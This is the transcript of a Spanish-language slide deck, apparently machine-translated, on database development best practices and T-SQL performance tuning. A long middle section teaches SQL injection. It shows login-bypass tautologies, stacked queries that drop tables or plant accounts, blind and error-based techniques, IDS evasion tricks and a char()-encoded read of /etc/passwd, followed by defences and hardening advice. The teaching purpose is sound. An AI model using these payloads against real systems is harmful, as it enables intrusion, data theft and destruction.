Mejores prácticas desarrollo de base de datos

70
Mejores prácticas Desarrollo de Base de Datos Ing. Eduardo Castro, PhD

Transcript of Mejores prácticas desarrollo de base de datos

Page 1: Mejores prácticas desarrollo de base de datos

Mejores prácticas Desarrollo de Base de DatosIng. Eduardo Castro, PhD

Page 2: Mejores prácticas desarrollo de base de datos

Ing. Eduardo Castro, PhDPASS Board of [email protected]

Microsoft Data Platform MVPMicrosoft Data Science SpecializationJohns Hopkins University Data Science SpecializationData mining and forecast Specialization

Page 3: Mejores prácticas desarrollo de base de datos

Referencias

• Conferencia de Socios de TI. Mike [email protected]

Page 4: Mejores prácticas desarrollo de base de datos

Ciclo de vida de aplicaciones de base de datos

• Planificación de la base de datos• Definición del sistema• Recopilación y análisis de requerimientos• Diseño de base de datos• Diseño de aplicaciones• Pruebas• Implementación• Mantenimiento operativo

Page 5: Mejores prácticas desarrollo de base de datos

El trabajo adelantado vale la pena despues!

• Identificar la necesidad a ser resuelta por la aplicación.

• Determinar si / cómo la nueva aplicación se integrará con los sistemas departamentales e institutos existentes.

• Identificar los requisitos de administración y usuarios.

Page 6: Mejores prácticas desarrollo de base de datos

Consejos de diseño de base de datos

• Elija el DBMS y las herramientas de desarrollo• Los estándares de nomenclatura• Utilizar los identificadores únicos• Claves significativas o no significativas?• Minimizar la redundancia de datos• Garantizar la integridad de datos / datos existente

apalancamiento

Page 7: Mejores prácticas desarrollo de base de datos

Consideraciones de diseño adicionales

• Seguridad de las aplicaciones

• Información delicada

• Se alimenta o se conecta de los sistemas de la empresa

• Aprovechando el almacén de datos

Page 8: Mejores prácticas desarrollo de base de datos

Mantenimiento de base de datos Consejos

• Documentación, documentación, documentación

• Las copias de seguridad - Hot vs Cold

• Indices

• Monitoreo - Archivos de registro, Rendimiento

Page 9: Mejores prácticas desarrollo de base de datos

¿Qué es la inyección de SQL?• Técnica de inyección• La vulnerabilidad de seguridad• Se dirige a los manipuladores de entrada del

usuario

Page 10: Mejores prácticas desarrollo de base de datos

9

¿Qué es la inyección de SQL?

La capacidad de inyectar comandos SQL en el motor de base de

a través de una aplicación existente

Page 11: Mejores prácticas desarrollo de base de datos

10

¿Qué tan común es?

• Es probable que sea la vulnerabilidad de web más común hoy en día!

• Es un defecto en el desarrollo de "aplicaciones web", que no es un problema en el servidor Web o DB• La mayoría de los programadores no son conscientes de este problema• Una gran cantidad de los tutoriales y "plantillas" de demostración son

vulnerables• Lo que es peor, una gran cantidad de soluciones publicadas en Internet no

son lo suficientemente buenos• En nuestras pruebas de penetración más del 50% de nuestros

clientes llegar a ser vulnerables a la inyección de SQL http://sqlmap.org/

Page 12: Mejores prácticas desarrollo de base de datos

11

Aplicaciones vulnerables

• Casi todas las bases de datos SQL y lenguajes de programación son potencialmente vulnerables• MS SQL Server, Oracle, MySQL, PostgreSQL, DB2, MS Access, Sybase,

Informix, etc.• Acceder a través de las aplicaciones desarrolladas usando:

• scripts de Perl y CGI que acceden a bases de datos • ASP, JSP, PHP• XML, XSL y XSQL • javascript • VB, MFC, y otras herramientas y API basadas en ODBC • DB aplicaciones basadas en Web específicas y API

Page 13: Mejores prácticas desarrollo de base de datos

Los ejemplos del mundo real

• El 17 de agosto de 2009, el Departamento de Justicia de Estados Unidos acusó a un ciudadano estadounidense Albert González y dos rusos no identificados con el robo de 130 millones de números de tarjetas de crédito utilizando un ataque de inyección SQL.

• En 2008 una serie de ataques comenzó la explotación de las vulnerabilidades de inyección SQL de servidor de servidor web IIS y la base de datos SQL de Microsoft. Más de 500.000 sitios fueron explotadas.

Page 14: Mejores prácticas desarrollo de base de datos

sintaxis importanteCOMMENTS: --

Example: SELECT * FROM `table` --selects everything

LOGIC: ‘a’=‘a’Example: SELECT * FROM `table` WHERE ‘a’=‘a’

MULTI STATEMENTS: S1; S2Example: SELECT * FROM `table`; DROP TABLE `table`;

Page 15: Mejores prácticas desarrollo de base de datos

Ejemplo Sitio Web

Page 16: Mejores prácticas desarrollo de base de datos
Page 17: Mejores prácticas desarrollo de base de datos

Ejemplo Sitio Web

timbo317cse7330

SELECT * FROM `login` WHERE `user`=‘timbo317’ AND `pass`=‘cse7330’

Page 18: Mejores prácticas desarrollo de base de datos

Login Tabla de base de datosusuario contrasenatimbo317 cse7330

¿¿Qué puede salir mal??

Page 19: Mejores prácticas desarrollo de base de datos

Ejemplo Hack

'O' a '=' a'O' a '=' a

SELECT * FROM `login` WHERE `user`=‘’ OR ‘a’=‘a’ AND `pass`=‘’ OR ‘a’=‘a’

Page 20: Mejores prácticas desarrollo de base de datos

¡Se pone peor!

'; DROP TABLE `login`; -

SELECT * FROM `login` WHERE `user`=‘’; DROP TABLE `login`; --’ AND `pass`=‘’

Page 21: Mejores prácticas desarrollo de base de datos

Todas las consultas son posibles

SELECT * FROM `login` WHERE `user`=‘’; INSERT INTO `login` ('user','pass') VALUES ('haxor','whatever');--’ AND `pass`=‘’

SELECT * FROM `login` WHERE `user`=‘’; UPDATE `login` SET `pass`=‘pass123’ WHERE `user`=‘timbo317’;--’ AND `pass`=‘’

Page 22: Mejores prácticas desarrollo de base de datos

Demostración en vivo

• http://crackme.cenzic.com/kelev/view/loanrequest.php

¿Cómo se puede evitar que esto ??

Page 23: Mejores prácticas desarrollo de base de datos

Prevención

• Lógica para permitir que sólo los números / letras en nombre de usuario y contraseña.

• ¿Cómo se debe imponer la restricción? LADO DEL SERVIDOR.

• "escapar" caracteres malos. 'Se convierte en \'

• READ ONLY acceso a la base de datos.• Recuerda que esto no es sólo para las zonas de inicio de

sesión!No sólo para los sitios web !!

Page 24: Mejores prácticas desarrollo de base de datos

24

La inyección a través de String

formusr = ' or 1=1 – – formpwd = anything

Final query would look like this:SELECT * FROM usersWHERE username = ' ' or 1=1 – – AND password = 'anything'

Page 25: Mejores prácticas desarrollo de base de datos

25

El poder de '

• Se cierra el parámetro de cadena• Todo después se considera parte del comando SQL• Engañosas sugerencias de Internet incluyen:

• Escapar de ella! : sustituir' con ''

• campos de cadena son muy comunes, pero hay otros tipos de campos:• Numérico• fechas

Page 26: Mejores prácticas desarrollo de base de datos

26

Si se tratara de números?

SELECT * FROM clients WHERE account = 12345678AND pin = 1111

PHP/MySQL login syntax$sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin";

Page 27: Mejores prácticas desarrollo de base de datos

27

La inyección de campos numéricos

$formacct = 1 or 1=1 # $formpin = 1111

Final query would look like this:SELECT * FROM clientsWHERE account = 1 or 1=1 # AND pin = 1111

Page 28: Mejores prácticas desarrollo de base de datos

28

Caracteres de inyección SQL

• ' o " Indicadores Cadena de caracteres• - o # comentario de una sola línea• / *...* / comentario de varias líneas• + Además, concatenar (o espacio en url)• || (Tubería doble) concatenar• % indicador de atributo comodín• ? Param1 = foo = bar y Param2 Parámetros de URL• IMPRESIÓN útil como comando no transaccional• @variable variable local• @@variable variable global• waitfor retraso "0: 0: 10 ' tiempo de retardo

Page 29: Mejores prácticas desarrollo de base de datos

Metodología

Page 30: Mejores prácticas desarrollo de base de datos

30

Metodología del probar inyección SQL

1) de validación de entrada

2) Información. Reunión

6) OS Cmd Prompt

7) Ampliar Influencia

4) Extracción de Datos

3) 1 = 1 Ataques 5) Interacción OS

Page 31: Mejores prácticas desarrollo de base de datos

31

1) de validación de entrada

2) Información. Reunión

3) 1 = 1 Ataques 5) Interacción OS

6) OS Cmd Prompt4) Extracción de Datos

7) Ampliar Influencia

1) de validación de entrada

Page 32: Mejores prácticas desarrollo de base de datos

32

Descubrimiento de vulnerabilidades• Las vulnerabilidades pueden estar en cualquier lugar,

comprobamos todos los puntos de entrada:• Los campos en los formularios web• Los parámetros de script en las cadenas de consulta URL• Los valores almacenados en las cookies o campos ocultos

• Por "fuzzing" insertamos en cada uno:• secuencia de caracteres: ' ") # || +>• palabras reservadas de SQL con delimitadores de espacio en blanco

• % 09select (lengüeta09%, Retorno de carro% 13, linea de alimentación% 10 y el espacio% 32 con y, o, actualizar, insertar, exec, Etc)

• Delay query 'Waitfor retraso "0: 0: 10' -

Page 33: Mejores prácticas desarrollo de base de datos

33

2) Recopilación de información

2) Información. Reunión

3) 1 = 1 Ataques 5) Interacción OS

6) OS Cmd Prompt4) Extracción de Datos

7) Ampliar Influencia

1) de validación de entrada

Page 34: Mejores prácticas desarrollo de base de datos

34

2) Recopilación de información

• Vamos a tratar de averiguar lo siguiente:a) Mecanismos de salidab) Comprender la consultac) Determinar el tipo de base de datosd) Encontrar el nivel de privilegios del usuarioe) Determinar el nivel de interacción OS

Page 35: Mejores prácticas desarrollo de base de datos

35

a) Identificación de mecanismos de salida

1. El uso de conjuntos de resultados de consulta en la aplicación web

2. Error de mensajes• Craft consultas SQL que generan determinados tipos de mensajes de

error con valiosa información en ellas

3. Ciego de inyección SQL• Utilizar retardos de tiempo o firmas de error para determinar la

información de extracto• Casi las mismas cosas se pueden hacer, pero es inyección oculta mucho

más lento y más difícil

4. otros mecanismos• correo electrónico, SMB, FTP, TFTP

Page 36: Mejores prácticas desarrollo de base de datos

36

La extracción de información a través de mensajes de error

• La agrupación de error' group by columnnames having 1=1 - -

• No coinciden los tipos• ' union select 1,1,'text',1,1,1 - -• ' union select 1,1, bigint,1,1,1 - -

• Dónde 'texto' o bigint están siendo unidos en una int columna

• En DBs que permiten subconsultas, una mejor manera es:• ' and 1 in (select 'text' ) - -

• En algunos casos es posible que tengamos a CAST o convertir nuestros datos para generar los mensajes de error

Page 37: Mejores prácticas desarrollo de base de datos

37

Inyección ciega

• Podemos utilizar diferentes resultados conocidos• ' and condition and '1'='1

• O podemos utilizar sentencias if• '; if condition waitfor delay '0:0:5' --• '; union select if( condition , benchmark (100000, sha1('test')),

'false' ),1,1,1,1;• Además, podemos ejecutar todo tipo de consultas, pero sin

información de depuración!• Obtenemos sí / no sólo respuestas

• Podemos extraer ASCII un poco a la vez ...• Muy ruidoso y consume mucho tiempo, pero es posible con herramientas

automatizadas como Squeal

Page 38: Mejores prácticas desarrollo de base de datos

Técnicas de evasión

Page 39: Mejores prácticas desarrollo de base de datos

39

Técnicas de evasión

• Las técnicas de validación y técnicas de evasión de IDS son muy similares

• Detección basado en la inyección de SQL es parcialmente posible, pero depende de "firmas"

• Las firmas pueden ser fácilmente evadidas• validación de entrada, detección de IDS y fuerte base de

datos y sistema operativo endurecimiento se tienen que acoplar

Page 40: Mejores prácticas desarrollo de base de datos

40

IDS Evasion Firma

Evading ' OR 1=1 signature• ' OR 'unusual' = 'unusual'• ' OR 'something' = 'some'+'thing'• ' OR 'text' = N'text'• ' OR 'something' like 'some%'• ' OR 2 > 1• ' OR 'text' > 't'• ' OR 'whatever' IN ('whatever')• ' OR 2 BETWEEN 1 AND 3

Page 41: Mejores prácticas desarrollo de base de datos

41

validación de entradas

• Algunas personas usan addslashes () de PHP para escapar caracteres• una frase (')• comillas dobles ( ")• barra inversa (\)• NUL (el byte NULL)

• Esto puede ser fácilmente eludido mediante el uso de sustitutos para cualquiera de los caracteres anteriores en un campo numérico

Page 42: Mejores prácticas desarrollo de base de datos

42

La evasión y la elusión

• IDS y la validación de entrada pueden ser eludidas mediante la codificación

• Algunas formas de los parámetros de codificación• la codificación URL• Unicode / UTF-8• Enconding hex• la función char ()

Page 43: Mejores prácticas desarrollo de base de datos

43

MySQL validación de entrada elusión usando Char ()• Inject without quotes (string = "%"):

• ' or username like char(37);• Inject without quotes (string = "root"):

• ' union select * from users where login = char(114,111,111,116);• Load files in unions (string = "/etc/passwd"):

• ' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

• Check for existing files (string = "n.ext"):• ' and

1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

Page 44: Mejores prácticas desarrollo de base de datos

44

IDS Evasion Firma utilizando espacios en blanco

• UNION SELECT firma es diferente a• UNION SELECT• Tab, carriage return, linefeed or several white

spaces may be used• Quitar los espacios podría funcionar aún mejor

• 'OR'1' = '1' (Sin espacios) se interpreta correctamente por algunas de las bases de datos SQL más amigables

Page 45: Mejores prácticas desarrollo de base de datos

45

IDS Evasion Firma usando los comentarios

• Algunos IDS no son engañados por los espacios en blanco• La utilización de comentarios es la mejor alternativa

• / * ... * / se utiliza en SQL99 para delimitar varias filas comentarios• UNION/**/SELECT/**/• '/**/OR/**/1/**/=/**/1• Esto también permite difundir la inyección a través de varios campos

• USERNAME: ' or 1/*• PASSWORD: */ =1 --

Page 46: Mejores prácticas desarrollo de base de datos

46

IDS Evasion firma mediante la concatenación de cadenas

• En MySQL es posible separar las instrucciones con comentarios• UNI/**/ON SEL/**/ECT

• O bien, puede concatenar texto y utilizar una instrucción específica para ejecutar DB• Oracle

• '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'• MS SQL

• '; EXEC ('SEL' + 'ECT US' + 'ER')

Page 47: Mejores prácticas desarrollo de base de datos

La defensa contra la inyección de SQL

Page 48: Mejores prácticas desarrollo de base de datos

49

Defensa de inyección SQL

• Es muy sencillo: validación de entradas• El verdadero desafío es hacer las mejores prácticas

consistentes a través todas tu codigo• Hacer cumplir "diseño fuerte" en nuevas aplicaciones• Debe auditar sus sitios web existentes y el código fuente

• Incluso si usted tiene un diseño hermético, endurecer sus servidores

Page 49: Mejores prácticas desarrollo de base de datos

50

Diseño fuerte

• Definir un camino fácil "seguro" para la consulta de datos• Utilizar procedimientos almacenados para interactuar con la base de

datos• Llamar a los procedimientos almacenados a través de una API

parametrizada• Validar todas las entradas a través de rutinas genéricas• Utilice el principio de "menor privilegio"

• Definir varias funciones, una para cada tipo de consulta

Page 50: Mejores prácticas desarrollo de base de datos

51

Validación de entrada

• Definir los tipos de datos para cada campo• Aplicar estrictas "permitir que solo buenos" filtros

• Si la entrada se supone que debe ser numérico, utilice una variable numérica en el script para almacenarlo

• Rechazar una entrada incorrecta en lugar de intentar escapar o modificarla

• Aplicar estrictas "malos conocidos" filtros• Por ejemplo: rechazar "select", "insert", "update", "shutdown", "delete",

"drop", "--", "'"

Page 51: Mejores prácticas desarrollo de base de datos

52

Harden el servidor

1. DB ejecutar como una cuenta de usuario con privilegios bajos2. Retire los procedimientos almacenados no utilizados y

funcionalidad o restringir el acceso a los administradores3. Cambiar permisos y eliminar el acceso "público" para los

objetos del sistema4. Auditoría de la contraseña para todas las cuentas de usuario5. Retirar los servidores vinculados preautenticada6. Retire protocolos de red no utilizados7. Cortafuegos el servidor para que los clientes sólo de confianza

pueden conectarse a él (por lo general sólo: red administrativa, el servidor web y el servidor de copia de seguridad)

Page 52: Mejores prácticas desarrollo de base de datos

53

Detección y disuasión

• Es posible que desee para reaccionar a los intentos de inyección SQL por:• Registro de los intentos• Envío de alertas de correo electrónico• El bloqueo de la IP infractora• El envío de mensajes de error de vuelta de intimidación:

• "ADVERTENCIA:. El uso indebido de esta aplicación se ha detectado Se identificó un posible ataque se tomarán acciones legales.".

• Consulte con sus abogados para redacción adecuada

• Esto debe ser codificada en las secuencias de comandos de validación

Page 53: Mejores prácticas desarrollo de base de datos

Análisis de rendimiento de T-SQL y puesta a punto

DB es demasiado lento

algo está rotoTiempos de espera

extraño comportamiento

aplicación se bloquea

Page 54: Mejores prácticas desarrollo de base de datos

El enfoque• ¿Donde empezar?• ¿Qué herramientas utilizar?• Cómo identificar pesado T-

SQL?

Page 55: Mejores prácticas desarrollo de base de datos

Analizador de SQL Server y Las huellas de SQLReadTrace (Utilidad RML) - línea de

comando

SQL Server Management Studio• sp_who2 y dbcc inputbuffer (<SPID>)• Guiones

Herramientas – SQL Server

Page 56: Mejores prácticas desarrollo de base de datos

DTA

DMV y estadísticas

Monitor de actividad de SQL Server

Herramientas - SQL Server (2)

Page 57: Mejores prácticas desarrollo de base de datos

PSSDiag

SQLDiag y PerfStats

SQL Nexus

Herramientas - SQL Server (3)

Page 58: Mejores prácticas desarrollo de base de datos

Panel de rendimiento

Herramientas - SQL Server (4)

Análisis de rendimiento de Registros (PAL)

Page 59: Mejores prácticas desarrollo de base de datos

herramientas de otros fabricantes 3-rd

Page 60: Mejores prácticas desarrollo de base de datos

El análisis T-SQL retroactiva antes de SQL Server 2016 ...

Page 61: Mejores prácticas desarrollo de base de datos

Vistas de administración dinámica (DMV)

• Aclarado de caché cuando: • A mano• SQL Server se reinicia• Las estadísticas se actualizan• presión de memoria• ...

Page 62: Mejores prácticas desarrollo de base de datos

Ejemplo DMV - sys.dm_exec_query_planLos planes de ejecución

• Planes de consulta para los lotes almacenados en caché o están ejecutando

• sin control de versiones• No hay historial

Page 63: Mejores prácticas desarrollo de base de datos

Así que para obtener el plan de ejecución correcta

La solución incluye:• código T-SQL re-escritura

• Ejemplo: el uso #tmp• sugerencias de consulta• Las guías de plan• Estadística• índices• sp_configure ajustes• ...

Page 64: Mejores prácticas desarrollo de base de datos

Así que para obtener historial de planes de ejecución ...

• Utilice el software de monitorización del rendimiento • Los planes de ejecución de todas las consultas • Mantenga la historia

• Utilizar secuencias de comandos para capturar la historia del DMV

• Las huellas de SQL• ...

Page 65: Mejores prácticas desarrollo de base de datos

Nueva "característica" - Consulta tienda ... ¿Nuevo enfoque?

Community Technology Preview (CTP)

Page 66: Mejores prácticas desarrollo de base de datos

Mejores prácticashttps://msdn.microsoft.com/en-CA/library/mt604821.aspx#Configure • Utilice últimas SSMS• Utilizar Query Performance Insight Base de datos

SQL Azure• Mantenga Consulta tienda ajustar a su carga de

trabajo• tamaño máximo• intervalo de recolección• Período de retención (por consulta y en general)

Page 67: Mejores prácticas desarrollo de base de datos

Buenas Prácticas (2)• Consulta verificar tienda está

recopilando datos de consulta continuamente• cambio de modo silencioso

• Evitar el uso de consultas con parámetros para no• Para evitar recompilaciones

frecuentes

Page 68: Mejores prácticas desarrollo de base de datos

No consultas parametrizadas

• Parametrizar consultas en su caso, por ejemplo, envolver las consultas dentro de un procedimiento almacenado.

• Utilizar el Optimizar para cargas de trabajo Ad Hoc opción si su carga de trabajo contiene muchos lotes ad-hoc de un solo uso con diferentes planes de consulta.• Comparar el número de distinta query_hash valores con el número total de entradas en

sys.query_store_query. Si la relación es cercana a 1 su carga de trabajo ad-hoc genera diferentes consultas.

• Aplicar la parametrización forzada, para la base de datos o para un subconjunto de consultas si el número de diferentes planes de ejecución no es muy grande.• Utilice la guía de plan para forzar la parametrización sólo para la consulta seleccionada.• Configurar la parametrización forzada de la base de datos, si hay un pequeño número de

diferentes planes de consulta en su carga de trabajo. (Cuando la relación entre el recuento de distintaquery_hash y el número total de entradas en sys.query_store_query es mucho menor que 1.)

• Selecciona el Modo de captura consulta AUTO para filtrar automáticamente las consultas ad hoc con el pequeño consumo de recursos.

Page 69: Mejores prácticas desarrollo de base de datos

Buenas Prácticas (3)

• Evitar la recreación de procedimiento almacenado, función, y el gatillo o cambiar el nombre de bases de datos

• Comprobar el estado de los planes habitualmente forzados

Page 70: Mejores prácticas desarrollo de base de datos

71

Conclusión

• Inyección SQL es una vulnerabilidad fascinante y peligroso• Todos los lenguajes de programación y todas las bases de

datos SQL son potencialmente vulnerables• La protección contra ella requiere

• diseño fuerte• la validación de entrada correcta • endurecimiento